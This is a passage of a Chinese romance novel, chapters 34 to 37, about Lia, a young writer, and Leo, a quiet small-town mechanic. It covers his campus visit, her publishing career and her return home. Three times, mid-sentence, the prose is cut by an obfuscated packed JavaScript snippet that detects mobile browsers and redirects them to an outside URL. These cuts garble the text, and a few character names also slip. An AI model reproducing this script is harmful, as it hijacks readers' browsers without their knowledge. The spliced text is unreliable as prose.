比如橡林镇的月亮湖旁边，或者米勒太太家的门廊下。 她深吸了一口气，抱着书，穿过三三两两的人群向他走去。 脚步有些迟疑，却又带着一种无法抗拒的引力。 听到脚步声利奥抬起头，他的脸上依旧是那副惯常的平静无波。 他没有动，只是看着她走近，在她站定在他面前时目光在她脸上停留了几秒，然后点了下头，同时往长椅的另一侧挪了挪让出足够的位置。 莉娅在他身边坐下，厚重的书本搁在膝盖上，空气里弥漫着青草、落叶的香气。 “你怎么来了？”她开口，声音轻微紧绷，“是不是……米勒太太又让你过来送东西？” 她试图给这个突兀的出现找一个符合他行为逻辑的解释，“其实不用麻烦的，我在这边什么都有。” 利奥摇了摇头，目光投向远处正在举行的一场即兴飞盘比赛的草坪：“不是。” “那……”莉娅转过头，看着他的侧脸，“因为什么事专门来这里的？” 34. chapter 34 就在这时，一个同系的女同学抱着书小跑过来，脸上带着焦急：“莉娅可找到你了，关于角色分析的小组报告，珍妮弗说她找到了一些新的资料约我们晚上在图书馆讨论，你可以吗？” 莉娅迅速调整了一下表情，应对着这突如其来的打断：“哦好的，没问题，几点？” “七点，图书馆三楼老地方。”女同学语速很快，说完才注意到莉娅旁边坐着的利奥，眼神里闪过一丝好奇。 但没多问，只是冲莉娅眨眨眼又抱着书跑开了。 这个小插曲让短暂的对话中断了，周围依旧人来人往，喧嚣是他们的背景音。 莉娅和利奥重新陷入沉默，他们并排坐在长椅上。 阳光透过橡树斑驳的枝叶，在他深色的衣服和她米色的裙摆上投下晃动光斑。 莉娅无意识地用手指抠着书本的硬质封面，终于忍不住，再次开口，声音比刚才更轻：“你……是不是因为那天晚上的事来的？” 她顿了顿，观察着他的反应，他交握的手指微微收紧了一下，但脸上依旧看不出什么。 “我打了那个电话，”她继续说，“跟你说了一声……想你，你就专程跑来？” 这个问题没有听到回应。 利奥沉默着，既没有承认，也没有否认。 莉娅忽然觉得有些口干舌燥，她不再看他，也把目光投向那些奔跑跳跃的身影。 她开始描述那天晚上的情形，语速不快。 “奥黛丽来看我了，”她说，“她乘着游轮来的，她还是老样子满世界跑，跟我讲她在南美雨林里差点被食人鱼当成点心，在草原上挤牛奶挤到胳膊抽筋……” 她轻轻笑了一下，带着对好友的纵容和无奈，“那天晚上我们喝了点酒，嗯……可能不止一点。后来下雨了，我们挤在一个电话亭里躲雨，然后她就怂恿我……” 她停了下来，没有再说下去。 电话亭里那种混合着雨声、酒意和冲动的情緒再次包裹了她。 她侧过头看着他：“不好意思，是不是……打搅到你了？” 这次，利奥终于有了反应。 他缓缓地转过头，目光沉静地落在她脸上，摇了摇头：“你没事。” 他停顿了一下，补充了两个字，“就好。” 莉娅眨了眨眼，她看着他，看着他被阳光勾勒出的、带着青涩胡茬的下颌线，心里忽然变得无比柔软。 她不再去追问那个“是不是因为想你了才来”的问题，答案或许早已写在他的出现里。 她站起身，拍了拍裙子上并不存在的灰尘，然后朝他伸出手，脸上绽开一个清浅的笑容：“走吧。” 利奥看着伸到面前的手，修长干净，指甲修剪得很整齐。 他愣了一下抬起头。 “还没吃饭吧？”莉娅的语气变得轻松自然，“我知道学校后面有一条小巷子，里面有家店三明治做得特别好吃，料给得很足，咖啡也不错。比不上小镇的黛西小厨，但肯定比你啃冷面包强。” 利奥的目光在她脸上和那只手之间徘徊了片刻，最终他没有去碰她的手，而是自己撑着膝盖站了起来。他比她高出一个头还多，站起来时投下的阴影瞬间将她笼罩。 “不用了。”他说，声音从她头顶传来。 莉娅脸上的笑容僵了一下。 紧接着，她听到他低沉的声音再次响起，“我看一下你就走。” 他只是来看看她，确认她是不是还好，是否还是那个在电话里带着酒意说想他的莉娅，是否因为前夜的唐突而感到不安。 他用了最笨拙，沉默地出现在她面前。 莉娅仰头看着他，他逆着光面容有些模糊，但身形的轮廓被秋日阳光勾勒得清晰坚实。 她忽然笑了。 “来都来了，”她说着，语气里带坚持，伸手轻轻拉住了他工装裤的袖口，那布料粗糙而结实，“总不能真就这么看一眼就走，陪我走走吧，就当……熟悉一下我平时生活的环境。” 这一次，利奥没有立刻拒绝。 他低头看了一眼她拉住自己袖口的手指，然后抬起眼目光与她相遇，沉默了几秒后点了一下头。 莉娅松开他的袖口，两人并肩走下长椅前的石阶，汇入了校园里依旧熙攘的人流。他走在她身侧，步伐刻意放慢了些以适应她的步调。 他高大的身形和与周围环境格格不入的气质引来了一些打量目光，但他浑然不觉，或者根本不在意。 他的注意力，似乎更多地放在脚下的路。 他们穿过栽满梧桐树的主干道，路过图书馆巨大的玻璃幕墙，经过喧闹的社团招新摊位，各种热情洋溢的呼喊声此起彼伏。 莉娅偶尔会指着一栋建筑，简单地介绍一句：“那是我们文学院的主楼。” “那边是艺术中心，有时候会有画展。” 利奥大多只是“嗯”一声，目光顺着她指的方向扫过，然后又落回前方。 他们没有太多交谈，沉默是他们之间最熟悉的语言。 他就在身边，呼吸平稳，脚步沉实。莉娅甚至能闻到他身上那股淡淡的混合了机油、肥皂的味道。 他们没有去莉娅之前提到的三明治店，而是不知不觉走到了校园边缘。这里人流少了很多，空气也更加开阔。 场边有一个看起来有些年头的热狗摊，冒着诱人的食物香气。 “有点饿了，”莉娅转头问利奥，“尝尝这个？虽然比不上大餐，但据说这家酸黄瓜特别够味。” 利奥看了看那个冒着热气的小摊，点了点头。 莉娅买了两份经典款热狗，厚厚的香肠上挤上黄芥末和番茄酱，再铺上满满的、切成细丝的酸黄瓜。 她递给利奥，自己拿着另一份，然后很自然地领着他走到体育场边缘的水泥看台上，找了个干净的台阶坐下。 秋日下午的阳光斜斜地照在身上，暖洋洋的。 他们就这样并排坐在台阶上，吃着简单却滋味十足的热狗。 莉娅咬了一口，酸黄瓜的刺激感瞬间在舌尖炸开，让她满足地眯起了眼睛。 她侧头看利奥，“怎么样？” “可以。”他言简意赅地评价，然后又咬了一大口。 莉娅笑了。 吃完热狗，两人依旧坐在看台上，看着远处天空缓缓移动的云朵。阳光把他们的影子拉得很长，交叠在一起。 “奥黛丽说，”莉娅忽然又提起了这个话题，但语气已经变得像在分享日常，“她下一站可能要去北欧，看极光。她说要在冰天雪地里泡露天温泉，听起来就很……奥黛丽。” 利奥安静地听着，没有打断。 “她还问我，以后想住在什么样的地方。”莉娅继续说，“我说想要有湖，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860419|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树林，邻居都很和善……”她顿了顿，声音轻了下来，“……听起来是不是很像橡林镇？” 这时，利奥忽然站起身。 莉娅愣了一下，仰头看他。 他没说话，只是朝她伸出手。 莉娅看着那只骨节分明的大手，把手放在了他的掌心。他的手温暖而干燥，稍稍用力将她从台阶上拉了起来。 “该回去了。”他说。 修理铺还有活儿，回橡林镇还需要时间。 “嗯。”莉娅点点头。 他依然没有牵她的手，但在走下看台后重新汇入逐渐增多的人群时，他走在了靠外侧的位置，不动声色地将她与来往的自行车和匆忙的行人隔开。 他们沉默地走向校门口，走向他停放在那里的旧皮卡。走到车边他拉开车门，却没有立刻上车，而是转过身看着她。 夕阳的金辉给他的轮廓镀上了一圈毛茸茸的光边。 “我走了。”他说。 “路上小心。”莉娅站在车边，看着他。 他点了点头，目光在她脸上停留了片刻，然后才弯腰坐进驾驶室。 引擎发出沉闷的轰鸣。 莉娅站在原地，看着皮卡缓缓启动，驶离路边，汇入车流，最终消失在街道的拐角。 她站在原地，许久没有动。秋风吹拂着她的发丝和裙摆，心里没有离别的伤感。 他没有说太多话，没有回应她的思念，甚至没有承认是为此而来。但他来了，陪她在校园里漫步，他吃了她买的热狗，他沉默地听她说话…… 莉娅转过身，迎着夕阳慢慢走回校园。 * 对于写作她坚持着，像一只固执的松鼠不停地储存着过冬的粮食。她的文笔在反复练习中逐渐成熟，故事也愈发有了自己的筋骨。 临近毕业时，她将自己几年来的心血投给了一个颇具影响力的新人文学奖。 她没抱太大希望，出乎意料地，她获奖了。 不仅获得了奖金，还引起了一家不错出版社的注意，愿意为她出版这本小说。 毕业典礼上，当她同时拿到学士学位证书和那份散发着油墨清香的出版合同时感觉像做梦一样。海莉比她还兴奋，在台下尖叫着仿佛是自己中了彩票。 出版社的市场部在宣传她这本《河湾镇的夏天》时，发现莉娅清秀、带着些许疏离感和自然气息的面容，比故事本身更容易吸引媒体和读者的初步关注。 她的第一波宣传海报，用的不是书封面，是她一张在校园草坪上读书的照片。 她的经纪人，一个精干的年轻男人卢卡斯，有些小心翼翼地问她：“莉娅，这样……你会不会觉得不舒服？毕竟重点是书。” 莉娅看着海报上的自己，摇了摇头：“不会，这也是一种宣传的方式。” 如果这样能让更多人有机会看到她的故事，她愿意接受。 大学四年她很少回去，假期不是留在学校打工，就是给赏识她的教授当研究助理。 但她信守承诺一直坚持写信，给米勒太太、给安娜阿姨、给莉齐…… 信里她报喜不报忧，只写充实的学习、有趣的见闻，绝口不提熬夜的艰辛以及投稿被拒的失落。 利奥之后还来看过她一次，是顺路送一批修理好的东西到州府。 他没什么变化只是肩膀更宽厚了些，沉默依旧。 35. chapter 35 他们一起吃了顿饭，聊了聊小镇的琐事，像老朋友。 后来莉娅用第一笔像样的稿费买了一部手机，也把号码留给了利奥。 但奇怪的是当联系变得如此便捷时，他们反而很少通话或发短信。 仿佛那种基于信件和难得见面的交流节奏，才是最适合他们之间的频率。 毕业后的莉娅顺理成章地留在了出版社聚集的城市。 她先是做编辑助理，后来因为自己的写作背景慢慢开始独立策划选题、接触作者。城市生活光怪陆离节奏快得让人头晕目眩，出版社的工作压力巨大，选题会、预算、营销方案、难缠的作者、苛刻的市场…… 这一切都与橡林镇的宁静缓慢截然不同。 她住在一栋老旧公寓楼的小房间里，窗外不再是湖泊和森林，而是邻居家晾晒的衣物和永远喧嚣的车流声。 莉娅继续写作，她从没停止过动笔。 但过程不再像大学时那样纯粹，出版社希望她乘胜追击，延续《河湾镇的夏天》的风格，写更多童话式故事。 但她有时会感到一种枯竭，仿佛那个灵感泉眼在城市的水泥森林里正逐渐干涸。 之后她被要求写一些她不擅长的话题，为了迎合市场文字里不得不加入一些矫饰和浮夸。 她又得了两个不大不小的文学奖，足够她在作者简介上添上几笔，但并未带来真正的突破或内心的满足。 掌声和批评同时涌来，她开始失眠，对着空白的文档发呆的时间越来越长。 她依旧和海莉保持着联系。 海莉如愿进了时尚杂志，每天踩着十厘米的高跟鞋奔波于秀场和派对，男朋友换得比以前更勤，抱怨的主题也从不靠谱的男孩升级为虚伪的制片人和难搞的超模。 “所以说，我又分手了，”海莉搅拌着眼前的沙拉，只吃了两口就推开，“这次是个摄影师，才华横溢但自私得令人发指，男人啊。” 她看着莉娅，“还是你好，我的世界里只有截止日期和虚伪的笑脸。” “你的世界也很精彩，海莉。” “精彩？是嘈杂。”海莉叹了口气，又像以前一样把没动过的甜点推到莉娅面前，“给你了，我得保持状态。” 与橡林镇的联系，主要通过信件和偶尔打给米勒太太的电话维系。 她知道安娜阿姨的杂货铺重新装修了，吉姆医生还是老样子，而利奥的修理铺似乎扩大了规模，还收了个小学徒。 米勒太太的声音从听筒里传来，总是絮絮叨叨。 “莉娅是你吗？声音有点小……安娜的关节炎又犯了，但她说你寄来的护膝很管用……酒馆生意好得很，就是大家都总念叨你。利奥啊，他还那样整天在铺子里，前阵子还把教练那辆破卡车给修好了，霍奇斯高兴得请全镇人喝了杯……扳手？胖啦，都快抱不动了。你一个人在外面，别光顾着写书，要按时吃饭，听见没？” 到最后，米勒太太总会加上一句：“你一个人在外面，要照顾好自己，别太累了。” 最近，莉娅的一部新作入围了一个比较重要的文学奖项。 出版社很重视，提前很久就开始准备通稿、安排采访。 在准备邀请嘉宾名单时，莉娅犹豫了很久最终还是拿出一张精美的邀请函，工整地写上了利奥的名字和橡林镇的地址，寄了出去。 她没有在信里多说什么，只是简单告知了时间地点。 颁奖礼前几夜，她犹豫良久还是拨通了电话。铃声响了很久才被接起，背景有金属敲击声。 “喂？”是利奥的声音，低沉平稳。 “利奥，是我。” “嗯。”敲击声停了。 “明天晚上，有个颁奖典礼……我的书入围了。” “嗯。”他静静地听着。 “我寄了邀请函，不知道你收到没有？” “收到了。”短暂的沉默，电话里只有轻微的电流声。 “嗯……就是告诉你一声。”莉娅说，手指缠绕着电话线。 “好。”利奥应道。又是一阵沉默，然后他问，“几点？” “晚上七点。” “知道了。” “那……再见。” “再见。” 颁奖礼那晚，他始终未出现。 与此同时，橡林镇早已陷入沉睡。 利奥的修理铺里灯还亮着，工作台上摊着那张被仔细展平的邀请函，扳手安静地趴在他脚边。 她不知道的是，前几日橡林镇下了一场大雨，修理铺那一日被泡了水。尽管利奥尽力去弥补，但邀请函还是彻底的毁了。 那天傍晚利奥满手油污，他看了看日期和时间。 颁奖典礼已经开始了。 直到扳手用鼻子蹭了蹭他的手。 最终，他只是把毁掉的邀请函仔细地折好，放进了工具箱最底层的一个铁盒里。 然后转身离开，他承认自己头一次这么想去那个地方。 * 清晨的光线，像是透过一层细密的滤网才勉强挤进这小阁楼的窗户，在弥漫着淡淡机油味和木头尘味的空气里，投下几道斜斜的光柱。 莉娅醒了过来，有片刻的恍惚。 她好像做了一个梦，梦到了很久很久之前的事情。 昨天晚上才逃掉颁奖宴会，半夜开车回到橡林镇，怎么梦到之前的事情了。 身下的床铺比她大学宿舍的硬，也比她后来租住的那些公寓里的弹簧床垫要实在，带着一种承托住筋骨的力量感。 她身上穿着的是利奥翻箱倒柜找出来的新T恤和一条洗得发白的工装裤。 T恤对于她来说还是太大了，她在腰间随意地系了个结，才显得利落些。 莉娅坐起身，木质地板传来凉意。 阁楼很低，她站起来头顶几乎要碰到斜斜的屋顶。 她走到通往楼下修理铺的楼梯口，扶着那粗糙的原木栏杆向下望去。 利奥已经在下面了。 修理铺的门大开着，清晨略带潮湿的空气涌进来。 他正背对着她，弯着腰对付一台看上去老掉牙的割草机。他身边站着一个戴着宽边帽、身材干瘦的老头，是镇上的老弗雷德。 莉娅还记得他，以前总爱在码头边钓鱼。 “嘿米勒，这老家伙还能喘气吗？”老弗雷德的声音沙哑。 利奥没立刻回答，他手里拿着一把螺丝刀，动作熟练地卸下一个盖子，露出里面错综复杂的发动机部件。 他的手指沾满了黑色的油污，在一个积满碳垢的火花塞接口处抹了抹，又凑近闻了闻。 “化油器有点堵了，老弗雷德。”利奥开口， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870392|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音低沉，带着刚起床不久的一点沙哑，但语气十分肯定，“火花塞也该换了，电极都快烧没了。你这家伙，是不是又往里掺了劣质汽油？” 老弗雷德嘟囔了一句，算是默认了：“能修好吗？我可不想花钱买新的，这老伙计跟我十几年了。” “能。”利奥回答。 他拿起一瓶化油器清洗剂，喷了几下，黑色的污垢顺着流了出来。然后拿起一个崭新的火花塞，用一把专门的套筒扳手，手腕一沉，利落地将旧的火花塞旋出。 莉娅就那样倚着栏杆，静静地看着。 阳光勾勒出麦斯宽阔的肩膀和专注的侧脸轮廓，这个场景如此熟悉，又似乎隔了一层薄雾。 楼下两人的对话转到了镇上的八卦，谁家的孩子考上了州立大学，谁家的渔船最近收获不错。利奥大多时候只是听着，偶尔简短地应和一声，手上活儿却没停。 莉娅看了一会儿，又轻手轻脚地坐回床边。 她开始仔细打量这个小阁楼，这里与其说是个房间，不如说是个堆放杂件的储物间兼卧室。 除了这张简易的木床，角落里堆着不少汽车零件和旧工具箱，几个旧轮胎被摞在一起成了临时的架子，上面放着几本翻烂了的汽车维修手册和几本泛黄的科幻小说。 墙壁上钉着几张褪色的海报，有的是车，有的则是莉安认不出的摇滚乐队。 直到老弗雷德付了钱后离开，修理铺里才安静下来。 莉娅听着动静，慢慢踩着吱呀作响的木楼梯走下去。 利奥正收拾工具，把扳手、螺丝刀一件件擦干净，放回墙上挂好。 听到脚步声他抬起头，看了她一眼，很快又低下头去：“睡得好吗？” “还好。”莉娅走到他身边，学着他的样子蹲在地上，看着他处理另一件小玩意儿。 一个旧电视机，没有画面，只有嗡嗡的电流声，她顺手拿起地上的一把小钳子递给他。 利奥接过，熟练地夹住一个电容器的引线，用烙铁烫开。 “谢谢。”他顿了顿，空气里只剩下烙铁接触焊锡的细微嘶嘶声。 过了一会儿，他像是随意地问：“这次回来，打算待多久？” “不知道，”她轻声说，目光落在自己系着结的T恤下摆上，“也许……这次以后就不走了。” 莉娅的手停顿了几秒，但很快又恢复了动作。 他没接话只是继续着手里的工作，电视剧里突然传出一丝微弱的、夹杂着大量噪音的音乐声，但很快又消失了。 “需要我帮忙吗？”莉娅跃跃欲试，“我以前也自己修过宿舍的台灯。” 利奥没抬头，“不用，这个有点复杂。” “让我试试嘛，”莉娅伸手想去拿他放在一旁的万用表，“我看看是哪里的问题。” 就在她的手快要碰到万用表的表笔时，利奥伸手一把抓住了她的手腕。 他的手掌很大，温暖而粗糙，带着洗不掉的机油味，力量感十足。 “别动，”他的声音有些紧绷，之后他松开手，语气恢复了平静，“去，把手上的机油洗洗，你不该在这里做这些事的。” 莉娅愣住了，低头看了看自己的手指，确实不知何时沾上了一点黑渍。 她抬起头看着利奥的侧脸，不解地反问：“那我该做什么事？” 36. chapter 36 该做什么事？ 利奥眼睫缓慢地眨了一下，他想起不久前，一个来修皮卡的邻居闲聊时得知莉娅之前在东海岸一所很好的大学念书，而且还在自己写东西。 邻居用羡慕的语气说：“老天，那可是个文化人儿。米勒你记得吗？小时候她就像个小尾巴似的跟着你。现在可不一样了，人家以后是要用脑子吃饭的，是作家。跟我们这些摆弄铁疙瘩的，不是一个世界的人了。” 学历、前途、世界。 莉娅寄来的信里提到过她参加的读书会，去纽约看的画展。她信里的词汇变得越来越丰富，而他每天打交道的是故障的引擎、生锈的螺栓和永远洗不掉的机油味。 他们是不一样的。 她值得更好的、更好的生活，更好的人。 一个能和她讨论书籍音乐，能穿着体面衬衫出入像样场所，而不是像他这样一身油污，满手老茧。 他深吸一口气，继续摆弄着电路板，声音低沉：“反正不应该跟我在这里，做这些事。” 莉娅脸上的表情从疑惑渐渐变成了不解。 她站起身，拍了拍工装裤上的灰：“利奥，我不明白。我以前一个人在外面为了省点钱，什么没做过？自己通下水道，自己换轮胎，为了赚点生活费我可以在船上一坐一天，就为了钓几条鱼卖给酒馆。我能照顾自己，我能做很多事。” 她的声音里带着一丝倔强，还有一丝委屈。 想起自己如何笨拙地学习修理公寓里坏掉的水龙头，如何在陌生的城市里兼职打工，如何一个人应对那些琐碎而麻烦的生活难题。 她从不觉得这些事有什么不该做的。 利奥没有看她，只是沉默地拧紧了电视机后盖上的最后一颗螺丝。 他的沉默像一堵墙。 莉娅看着他紧绷的下颌线，知道再说下去也是无益。 一种从未有过的隔阂感，横亘在他们之间。 从小到大他们拌过嘴，闹过别扭，但从未像现在这样因为对“她该做什么”的看法不同，而产生如此深刻的意见不合。 她抿了抿嘴唇，转身朝门口走去。 “我去看看米勒太太。” 她留下这句话，声音有些发闷，然后消失在了门外明亮的阳光里。 利奥听着她的脚步声远去，终于停下手，看着刚刚修好的电视机。他拧开开关，清晰的画面伴着偶尔的雪花出现，他没有在执着地继续修理。 * 莉娅并没有立刻去米勒家。 她先是在小镇寂静的街道上漫无目的地走了一会儿，让清晨微凉的风吹散心头的闷气。路边的房屋大多还是老样子，只是有些漆色更斑驳了些，有些门前多了陌生的车辆。几个早起的邻居认出了她热情地打着招呼，问她什么时候回来的，能待多久。 莉娅一一回应着。 走到米勒家那座熟悉的、带着前廊的白房子前时，她的心情才稍稍平复。 门虚掩着，她敲了敲然后推门进去。 “米勒太太？”她轻声唤道。 “在这儿呢，厨房。”一个温和的声音传来。 莉娅走进厨房，看到米勒太太正拄着拐杖，慢慢地从冰箱里往外拿牛奶。她的腰背佝偻着，动作迟缓，但脸上依然是莉娅记忆里那种慈祥的笑容。 几年前那次摔伤，彻底改变了这个曾经利落能干的女人的生活。 “莉娅，快让我看看你。”米勒太太惊喜地放下牛奶，张开双臂。 莉娅赶紧走过去，小心地避开她的腰，拥抱了她。 “什么时候到的？怎么也不提前说一声？利奥那小子，嘴可真严。” 米勒太太拉着莉娅的手，坐到餐桌旁，仔细端详着她，“瘦了，但也更精神了，在外面肯定很辛苦。” “还好，米勒太太，您的腰怎么样了？我看您走路还是不太方便。”莉娅关切地问。 “老样子啦，能撑着拐杖自己走动，已经是上帝保佑了。”米勒太太摆摆手，叹了口气，“就是苦了利奥，店里忙还得顾着我这个老太婆。” 她看着莉娅，眼神里充满了温柔的怜爱，“你呢？这次回来，能多住些日子了吧？” “嗯……可能吧。”莉娅含糊地应着，帮米勒太太把牛奶倒进杯子。 “那就好，那就好。”米勒太太欣慰地拍拍她的手，“你不在，这镇上连个能跟他说说话的同龄人都没有。他整天泡在修理铺里，都快跟那些机器一样变成铁疙瘩了。” 聊了一会儿家常，米勒太太像是想起什么，看着莉娅，眼神期待：“莉娅我的好孩子，念故事给我听吧？念你新写的故事，我这眼睛看一会儿字就花了。” 莉娅一怔。 “米勒太太，我的故事……没什么好念的，这次又没有得奖。” “胡说，”米勒太太佯装生气，“怎么不好？我看就好得很，比杂志上登的某些玩意儿好多了。” “记得你第一次把写的故事拿给我看，紧张得像个等待考试结果的小学生。我就说，我们莉娅是有天赋的。别管那些纽约的编辑怎么说，他们懂什么？我就爱听你写的故事。” 莉娅的眼眶有些发热，她吸了吸鼻子，从随身的背包里拿出一个笔记本，翻到最新写的一页。 阳光透过厨房的窗户，洒在泛黄的桌布上。莉娅开始轻声朗读，米勒太太闭着眼睛脸上带着满足的微笑，时不时点点头。 这种近乎亲情的牵绊，让她感到一种踏实的安全感。 从米勒太太家出来已是中午，莉娅深吸一口气，决定去打扫自己家的老房子。她用钥匙打开那扇大门，客厅里的家具都蒙着白色的防尘塑料布，阳光从百叶窗的缝隙里挤进来，在布满灰尘的空气里划出一道道光痕。 她卷起袖子，找到水桶和抹布开始打扫。先是揭掉塑料布，灰尘扑面而来让她忍不住咳嗽，她打来水，浸湿抹布开始擦拭家具表面。 她擦拭着父母留下的旧沙发、餐桌、书柜，每一件物品都承载着过去的记忆。灰尘被一点点抹去，原本的颜色渐渐显露，仿佛时光也在倒流。 她干得很投入，额头上冒出了细密的汗珠，工装裤的膝盖处也沾上了灰尘。 莉娅爬上梯子，打算清扫天花板角落的蜘蛛网和积灰。就在她伸长手臂用鸡毛掸子去够最高处的房梁时，脚下微微一滑，她赶紧扶住梯子站稳，但手中的掸子却不小心用力过猛戳到了屋顶的瓦片。 只听“哗啦啦”一阵脆响，几片年久失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877946|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修、早已松动的瓦片竟应声脱落，从屋顶内侧掉了下来，紧接着，更多的碎瓦和灰尘簌簌落下，屋顶上赫然出现了一个不大不小的洞。 刺眼的阳光瞬间从洞口投射进来，照亮了空气中疯狂舞动的尘埃。 莉娅目瞪口呆地站在梯子上，看着那个破洞。 * “你不该在这里做这些事的。” 那句话在利奥脑子里回响，像一颗生锈的螺丝卡在齿轮里让他浑身不自在。他知道自己话说重了，但他又能怎么说？ 难道要他说，“嘿莉娅，你那双拿笔的手不该碰这些油污，因为我们不再是同一个世界的人了”。 他宁可让她觉得他是个不可理喻的混蛋。 这时，一辆老旧的福特皮卡喘着粗气停在了门口，司机探出头来喊道：“嘿，米勒。我这破车的刹车软得像棉花糖，帮忙看看。” 利奥应了一声，他需要工作，需要这些实实在在的、可以触摸和解决的故障来填满时间，让大脑停止思考那些无解的问题。 他让车主把车开上升降机，自己熟练地钻到车底检查刹车分泵和油管。油污沾了他的手臂和脸颊，这里才是他的安全区。 问题出现然后被解决。 不像人心，那样复杂难测。 他全神贯注地对付着锈死的刹车油管接头，一点点地把它拧松。当他终于测试刹车恢复坚实有力的反馈之前，他不去思考任何的问题。 但当车主道谢离开修理铺，那种空虚感便又立刻卷土重来。 莉娅现在在做什么？在母亲那里吗？ 母亲一定很高兴，她总是把莉娅当成自己的女儿一样疼爱。 他又想起莉娅说的，“我以前一个人在外面……什么没做过”。 他知道她说的是实话，莉娅从来不是娇气的女孩，她有一股不服输的韧劲。 可是，知道是一回事，接受又是另一回事。 他还是固执地认为，她应该远离一切粗糙和艰辛。 下午天气变得闷热起来，利奥心不在焉地修理着一个割草机的轮子，动作比平时慢了许多。当他终于意识到自己在把同一个螺栓拧上又拧下时，他恼火地扔掉了扳手。 工具砸在水泥地上，发出刺耳的声响。 他决定去莉娅家的老房子看看。 走到那座久无人居的房子前，四周很安静。前院的杂草长得有些高了，他听到屋后有动静看到莉娅正费劲地把一些清理出来的垃圾。 主要是把朽烂的木板和破旧的塑料布拖到垃圾桶旁边，她脸上沾着灰尘，系在腰间的T恤也被汗水浸湿了一块。 看到利奥后她愣了一下，随即低下头继续手里的活儿，没跟他说话。 利奥沉默地走过去，伸手接过她手里那捆沉重的、满是钉子的旧木板。 “我来。”他的声音干巴巴的。 莉娅没反对，松开了手，转身又进了屋子。 利奥把垃圾扔进桶里，跟着走了进去。 屋内的景象让他有些吃惊，大部分家具上的防尘布已经被揭掉，虽然还蒙着灰，但已经能看出原本的模样。地板被粗略地清扫过，窗户也擦亮了几扇。 但天花板上破了一个大洞。 37. chapter 37 莉娅正站在一个高高的梯子上，踮着脚试图去修补。 利奥说：“你下来，我来。” 语气急促。 “不用。”莉娅头也没回，声音冷淡，“我能行，这不就是我‘该做的事’吗？总得有人收拾。” 利奥顿了顿，没再坚持，只是紧张地盯着梯子和她的动作。 就在她换了个角度时梯子轻微地晃动了一下，莉娅惊呼一声，利奥几乎是在声音响起的瞬间就冲了过去。他一把扶住摇晃的梯子，慢慢的将她从梯子上半抱半扶地弄了下来。 就在他们脚刚沾地的一刹那，好几片破碎的瓦片和大量的灰尘、碎屑从破洞倾泻而下，灰尘弥漫一时间什么也看不清。 莉娅靠在利奥怀里，被灰尘呛得咳嗽不止。利奥紧紧抱着她，用自己的后背挡住了大部分落下的灰尘。 “看到了吗？”利奥的声音在她头顶响起，“这就是为什么我说你不该做这些事。” 他的手臂依然环着她，力道很大，勒得她有些疼，“太危险了，这老房子的屋顶多少年没检修了，你应该……” 他说不下去了，只是低下头看着怀里满脸灰尘、显得有些狼狈却又异常真实的莉娅。四目相对，刚才的争吵和隔阂，似乎变得微不足道了。 空气中弥漫着灰尘的味道，还有彼此急促的呼吸声。 莉娅看着他眼中显而易见的担忧，原本堵在胸口的那股闷气突然就泄了下去。她挣扎了一下，利奥松开了手臂，但目光依然牢牢锁在她脸上。 “我……”莉娅想说什么却一时语塞，她看了看地上的狼藉，又抬头看了看那个洞，无奈地叹了口气，“好吧，看来有些事……确实需要专业人士。” 利奥没有笑，他检查了一下屋顶的破洞，又看了看莉娅。 “椽子好像也有点朽了，得先做个临时防水，不然晚上下雨就麻烦了。这里交给我。你……去我那儿，帮我母亲准备晚饭吧。” 这一次，莉娅没有再反驳，但她还是说。 “我跟你一起收拾。”她没等利奥说出任何可能反对的话，比如“不用，脏”或者“我自己来更快”之类的就弯下腰，开始捡拾那些较大的、边缘锋利的碎瓦片，小心地堆到墙角不影响走动的地方。 利奥看了她一眼，她系在腰间的T恤下摆随着动作晃动，工装裤的膝盖部分很快就沾上了灰尘。没说什么只是也沉默地行动起来，他找来一个旧的麻袋，将大块的朽木和更大量的碎屑扫进去。 灰尘被他们的动作搅动起来，在从破洞射入的光柱中更加肆意地飞舞。两人之间弥漫着一种奇异的沉默，并不是尴尬。 “我母亲的腰，”利奥突然开口，他正将一大块开裂的椽子木拖向门口，声音因用力而略显低沉，“一直没完全好利索，阴雨天就疼得厉害。你过去住几天，正好……陪她说说话，解解闷。” 他寻找一个合理且无法反驳的理由：“她总念叨你。” 莉娅停下手，看着他把那截沉重的朽木利落地弄出门外：“嗯，”她应了一声，继续弯腰捡瓦片，“我知道，就是……给你们添麻烦了。” 她指的是占用他的时间修屋顶，也可能指的是即将到来的借住。 利奥的身影重新出现在门口，逆着光看不清表情，“没什么麻烦的。” 他声音轻描淡写，“客房空着也是空着，收拾一下就能住。” 清理工作接近尾声时，地上的主要障碍物都被清除了，虽然灰尘依旧弥漫，但至少有了下脚的地方。 